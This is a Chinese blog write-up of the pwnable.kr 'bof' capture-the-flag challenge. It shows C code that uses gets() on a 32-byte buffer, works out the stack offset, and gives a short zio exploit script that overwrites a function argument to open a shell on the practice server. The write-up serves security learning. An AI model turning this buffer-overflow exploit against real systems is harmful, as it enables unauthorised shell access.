pwnable bof

http://www.pwnable.kr/play.php

题目提供了二进制文件和源码,查看源码:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

提供给系统权限的条件是key的值为0xcafebabe,key是函数func的参数。overfolwme数组被gets之后可以溢出。

观察函数s也就是buf在ebp上0x2c处,那么我们只需要溢出0x2c+8个字节就可以覆盖到第一个参数的位置,然后覆盖为cafebabe即可:

from zio import *

def exp(target):
    io=zio(target)
    io.writeline("1"*(0x2c+8)+l32(0xcafebabe))
    io.interact()

target=("pwnable.kr",9000)
exp(target)

 

转载于:https://www.cnblogs.com/binshblog/p/6640914.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值